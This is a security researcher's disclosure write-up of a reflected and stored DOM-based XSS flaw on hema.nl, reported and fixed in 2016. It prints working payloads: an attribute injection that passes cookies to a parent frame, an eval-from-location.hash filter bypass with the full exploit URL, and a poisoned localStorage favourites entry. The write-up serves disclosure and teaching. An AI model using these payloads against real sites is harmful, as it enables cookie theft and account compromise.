Cross-site-scripting on one of the largest Dutch franchisors

Posted on by Tijme Gommers.

By abusing a sensitive data exposure vulnerability it is possible to steal data from a Hema user. If the user is signed in, data like the user’s name and email can be stolen using cross frame scripting. Besides that, a malicious JavaScript payload can be inserted into the local storage which causes DOM-based XSS.

Please note that I used FireFox to test this vulnerability since browsers like Chrome, Safari and Edge have built in XSS auditors, which filter some of the reflected XSS.

Google Chrome's XSS auditor

Proof of Concept (reflected XSS)

While examining hema.nl I found some interesting XHR calls. One of them was ListerQuickView.aspx, which contained a lot of GET parameters.

http://www.hema.nl/Pages/Fredhopper/ListerQuickView.aspx?culture=nl-NL&nextProductId=pnl_60000199&prevProductId=&productId=pnl_60000198&productSku=12345

I tried to inject JavaScript in all the parameters but it didn’t really work. Especially because they blocked all requests if the URL contained a < sign followed by another character. The value of one of the parameters, productSku, was used as an attribute value. This made it possible to execute JavaScript using the onmousemove event. Unfortunately the onload event couldn’t be used since the element it got injected in was a div.

You can find the payload I used below. The inline CSS causes the div to overlap all content (this increases the chance that onmousemove is triggered). The parent.postMessage passes the cookie to the parent frame on mouse move.

&productSku=tes" style="width:100%;height:100%;position:absolute;top:0;left:0;" onmousemove="parent.postMessage(cookie, '*')">as

Which resulted in the following HTML:

Payload in HTML

We can now place this piece of art in an iframe, which results in cross frame scripting.

Proof of Concept (Stored DOM-based XSS)

Making it “Stored DOM-based XSS” is a bit more difficult. I divided it into two steps, bypassing the input restrictions and inserting the JavaScript payload into the local storage.

Bypassing Hema’s input restrictions

The DOM-based XSS vulnerability contains a little bit more code. Lets use the previous payload and edit it to look like this:

data-message="message" style="width:100%;height:100%;position:absolute;top:0;left:0;" onmousemove="eval(location.hash.substring(1))"

This code executes the JavaScript from the location.hash. I used location.hash since hema.nl blocks a lot of characters, like < and {, and the location.hash will not be included in the request, so hema.nl will never know about it.

In my location hash I wrote #window.addEventListener(arguments[0].originalTarget.attributes[4].value,function(event){eval(event.data)}).

I use arguments[0].originalTarget.attributes[4].value (where arguments[0] is the onmousemove event) to get the value of the fourth attribute of our div, which is the string message. I couldn’t just add the string "message" to addEventListener since quotes in the hash are converted to %22, which results in an unexpected % character.

So all this code basically sets a listener for messages on mouse move. Using cross frame scripting we can now execute all the code we want in the hema.nl iframe using postMessage.

document.getElementById('hema').contentWindow.postMessage('alert(document.cookie)', '*')

Which results in:

Alert on mouse over

This is the full URL that I used:

http://www.hema.nl/Pages/Fredhopper/ListerQuickView.aspx?culture=nl-NL&nextProductId=pnl_60000199&prevProductId=&productId=pnl_60000198&productSku=tes%22%20data-message=%22message%22%20style=%22width:100%;height:100%;position:absolute;top:0;left:0;%22%20onmousemove=%22eval(location.hash.substring(1))%22%20data-test=%22as#window.addEventListener(arguments[0].originalTarget.attributes[4].value,function(event){eval(event.data)});

Making it “Stored DOM-based XSS”

Hema stores some interesting JSON in the local storage. For example, they store all the products that I added to my favorites.

A product that I added to my favorites looks like this:

{
        "imgUrl":"https://images.hema.nl/products/mok-60000198-normal.jpg",
        "imgUrlX2":"https://images.hema.nl/products/mok-60000198-normal_twox.jpg",
        "name":"mok",
        "productId":"pnl_60000198",
        "price":"3,-",
}

And ofcourse, using our postMessage, we can edit it so it looks like this (note the onload in the imgUrl):

{
        "imgUrl":"https://images.hema.nl/products/mok-60000198-normal.jpg\" onload=\"alert(document.cookie)",
        "imgUrlX2":"https://images.hema.nl/products/mok-60000198-normal_twox.jpg",
        "name":"mok",
        "productId":"pnl_60000198",
        "price":"3,-",
}

Hema loads the favorites and shows the image without encoding the URL. Which means every time the victim navigates to hema.nl an alert will pop up.

So there you go, Stored DOM-based XSS!

Stored DOM-based XSS in hema.nl

Domains

www.hema.nl (vulnerable)
www.hema.fr (protected by CloudFlare)
www.hema.be (not vulnerable)
www.hemashop.com (not vulnerable)

Timeline

DateActivity
11 Dec 2016 18:43:34 GMTReported the vulnerability to Hema.
12 Dec 2016 09:23:21 GMTHema is investigating the vulnerability.
15 Dec 2016 13:54:56 GMTHema confirmed the vulnerability.
Hema will be releasing a fix in week 51.
20 Dec 2016 19:11:44 GMTHema fixed the vulnerability.
20 Dec 2016 19:14:41 GMTPublic disclosure.